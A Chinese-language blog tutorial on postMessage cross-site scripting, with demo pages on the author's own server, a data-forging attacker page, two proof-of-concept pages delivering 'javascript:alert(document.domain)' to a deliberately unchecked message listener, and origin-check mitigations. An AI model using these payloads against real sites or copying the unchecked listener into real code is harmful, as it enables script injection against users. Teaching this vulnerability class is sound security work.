PostMessage xss學習和挖掘

飄渺紅塵✨發表於2021-05-03

  PostMessage xss很有趣,在國外出現了很多次,國內src/眾測從沒遇到過,挖到過。可能境界還不夠,有機會再去試試。好幾年前記得心血來潮學過一次,都是半知半解,後來因為重要性不高,不了了之了,今天重新撿起來。

  PostMessage的含義:參考MDN:

    

Window.postmessage()方法可以安全地實現Window物件之間的跨源通訊;例如,在頁面和它派生的彈出視窗之間,或者在頁面和其內嵌的iframe之間。

  簡單點來說,我是這樣理解的:傳送相應資料到目標頁面,目標頁面接收傳輸的資料並進行處理。

  具體理論詳情參考:https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

  廢話不多說,先準備環境:一臺閒置vps:

   搭建兩個環境頁面:

    demo1.html:代傳送資料的頁面:

      

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
function openChild() {
    child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
    //傳送的資料內容
    let msg={pName : "jack", pAge: "12"};
    //傳送訊息資料資料到任意目標源, *指的是任意anyone
    child.postMessage(msg,'*');
}
</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

 

demo2.html:代監聽傳送的資料,接收訊息資料頁面:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        //新增事件監控訊息
    window.addEventListener("message", (event)=>{
        let txt=document.getElementById("msg");
        //接收傳輸過來的變數資料
        txt.value=`Name is ${event.data.pName} Age is  ${event.data.pAge}` ;

    });
    </script>
</head>
<body>
    <form>
        <h1>postMessage學習</h1>
        <input type='text' id='msg'/>
    </form>
</body>
</html>

 

  訪問:http://119.45.227.86/postmessage/demo1.html

  

 

 

 

第二步:f12子視窗,找到監聽程式碼:

  

 

 

然後選擇主視窗,點選Send Messsage:

  檢視子視窗,接收資料成功:

    

 

 

 

  這樣我們就完成了一次:傳送資料->接收資料的一個過程

 

  瞭解了基礎的使用,下面是關於PostMessgae XSS的安全隱患:

  (1):資料偽造:

   因為傳送資料中,使用的是*,並沒有限制目標源,導致可以通過任意地址給http://119.45.227.86/postmessage/demo2.html傳送資料:

   attacker.html:

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/demo2.html');

function sendMessage(){
    let msg={pName : "attacker", pAge: "16"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

      

 直接本地localhost(模擬攻擊者vps)訪問:

  

 

 

發現通過攻擊者vps成功修改了傳輸過去的資料,原來是

   

Name is jack Age is  12

 後被更改成:

  

Name is attacker Age is  16

  

 (2)接收處的處理不當導致的dom xss:

  測試環境:http://119.45.227.86/postmessage/xss.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
    window.addEventListener("message", (event)=>{
        location.href=`${event.data.url}`;
    });
    </script>
</head>
</html>

    

location.href="資料",這裡可控,可以url跳轉,也可以xss 

  

    利用poc:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

   本地訪問跳轉即觸發xss:    

 

  利用成功。利用poc2:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <iframe name="test" src="http://119.45.227.86/postmessage/xss.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
    var iframe = window.frames.test

    function xss(){
        let msg={"url":"javascript:alert(document.domain)"};
        iframe.postMessage(msg,'*');
    }
</script>
</html

  

  本地訪問:

  直接開啟即觸發xss:

  

 

   修復緩解方案:

    傳送訊息資料測試程式碼,限制目標源為指定傳送:

    demo1.html:

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss_renovate.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'http://119.45.227.86/postmessage/xss_renovate.html')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

    接收方測試程式碼:http://119.45.227.86/postmessage/xss_renovate.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        window.addEventListener("message", (event)=>{
            if (event.origin !== "http://119.45.227.86"){
                return;
            }
         location.href=`${event.data.url}`;
        });
    </script>
</head>
<body>
   
</body>
</html>

  再次訪問本地demo1.html,沒有彈窗xss了

 

 

  

  1.限制傳送目標,禁止使用*

  2.限制接收資料event.origin,使用指定信任域

 

    

 

 

 

 

  

相關文章